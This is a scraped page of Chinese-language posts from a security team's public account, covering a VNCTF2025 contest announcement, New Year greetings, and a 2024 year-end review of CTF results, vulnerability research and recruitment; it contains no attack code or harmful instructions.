        U[提取: ctr=0x0B, Time_Stamp=0x03]
    end

总结

本方案结合了之前的项目，有成功落地的案例，并在此基础上做了优化，后面可以根据自身情况更改、删减一些做不到的或根据自身条件增加更多的验证

最后，别感冒

阅读原文

跳转微信打开

跳转微信打开

阅读原文

跳转微信打开

距离VNCTF2025开赛还有1天！

比赛地址：https://ctf.vnteam.cn/

比赛时间：2025/02/08 10:00 - 2025/02/09 10:00 ，24h

QQ群：717513199

跳转微信打开

白帽一百祝大家除夕快乐

转发此文章到朋友圈，不可设置分组屏蔽，领奖前不可删除！

阅读原文

跳转微信打开

VNCTF2025 报名开启，2月8日等你来战

阅读原文

跳转微信打开

白帽一百2024年终总结

白帽一百年终总结

2024年即将落幕

这一年充满了挑战与成长

回顾过去，我们有收获，也有反思

展望未来，我们将以更坚定的步伐

迎接新的机遇与挑战

蛇来运转

新年新气象，蛇年运转

2025，FIGHTING!

来年来好运，携手共赢2025

PART.1

回望我们的2024

Look back to 2024

Look back to 

2024

W&M

- 强网杯 S7 决赛 一等奖

- XCTF - SCTF 冠军

- XCTF - DubheCTF 冠军

- ByteCTF 初赛 冠军

- D^3CTF 冠军

- 第四届网鼎杯 亚军

- AliYunCTF 第三名

- 巅峰极客 三等奖 (决赛域AK)

……

V&N

- 第八届强网杯青少年专项赛 冠军

- ByteCTF 2024 决赛 第 4 名

- 第四届鹏城杯 三等奖

- XCTF 分站赛 DubheCTF 2024 第 8 名

- XCTF 分站赛 RCTF 2024  第 12 名

- XCTF 分站赛 D³CTF 2024 第 15 名

Straw Hat

- 由 Nu1L Team、W&M、美国西北大学邢新宇教授团队以及国内优秀选手组成的 Straw Hat 战队在 Defcon32 Finals 斩获全球第五的好成绩，感谢师傅们的辛勤付出。

白帽100少先队

- 有成员作为演讲嘉宾参加Blackhat

- 有成员荣获某省极客青年TOP3

- 今年成员挖出多个工控漏洞、多个车联网安全漏洞、多个OpenJDK组件、VMware组件、Windows组件漏洞

- 阿里SRC年度前15

- 开源代码审计辅助工具：https://github.com/novysodope/javaeasyscan

- 公众号文章：

-- 车联网安全入门指北

-- CVE-2024-31317复现

白帽一百编辑部

- 共发布文章26篇，26篇原创文章，累计阅读数超过5万。关注公众号总用户数突破1万3千。在新的一年，白帽一百编辑部会再接再厉为大家带来更优质的网络安全干货，让行业听见白帽一百的声音。

PART.2

我们举办的活动

The activities we organized last year

WMCTF2024

成功举办WMCTF 2024，本场赛事由W&M战队与永信至诚联合主办。赛事共吸引来自全球的65个国家和地区，近千支队伍参赛，近一千五百人参与此次赛事。WMCTF一直秉承着好玩又贴近实战，让每个选手在WMCTF找到家的感觉，将队员发现的好知识点分享给大家，让大家能在做题中收获新知识的理念出发。今年在加入更多高质量题目的同时，结合AI 发起一场看似ssh其实非ssh的题目，让大家在趣味中收获欺骗AI和容器逃逸的知识点。

VNCTF2024

成功举办了VNCTF2024，比赛共吸引近1600名选手参赛！也期待有越来越多的选手参与到VNCTF 2025中，在比赛中学到新的知识。也期待今年的VNCTF2025能有更多师傅们加入我们，书写自己的诗篇

PART.3

总结寄语

Summary

满秋

祝新年新生

Dawn_whisper

祝大家在新的一年里生活巳巳如意，0day生生不息！辞暮尔尔，烟火年年，朝朝暮暮，岁岁平安！

unknown

这一年，大家一起参加了很多比赛，拿了不少好成绩。这些都离不开各位师傅的努力，十分感谢大家！

回过头看，我们成长了很多；新的一年，希望大家继续保持热情，多学习、多实践，一起提升自己的实力，争取在更多比赛中亮眼表现！

PART.4

2025年展望

prospect

最好的生活方式，是和一群志同道合的人，一起奔跑在理想的路上，回头有一路的故事，低头有坚定的脚步，抬头有清晰的远方。

对于新年，总有一种说不出的欢悦、欣喜和久久的期待。万象更新，这新的一年，期待能够完成所有的心愿，拥有更大的进步。白帽一百全体也祝愿大家工作顺利，身体安康。

招人招人

白帽一百下属各个小组招人，简历请投递至邮箱：hr@whitecap100.org

或私聊白帽一百团队任一成员均可

PS：CTF小组需要发送简历到ctf@wm-team.cn或联系任何一个W&M的队员。也欢迎刚入门的师傅加入子队V&N与大家共同进步。

此外，今年VNCTF2025将于2月8日-2月9日举办，欢迎各位师傅报名参赛！！

END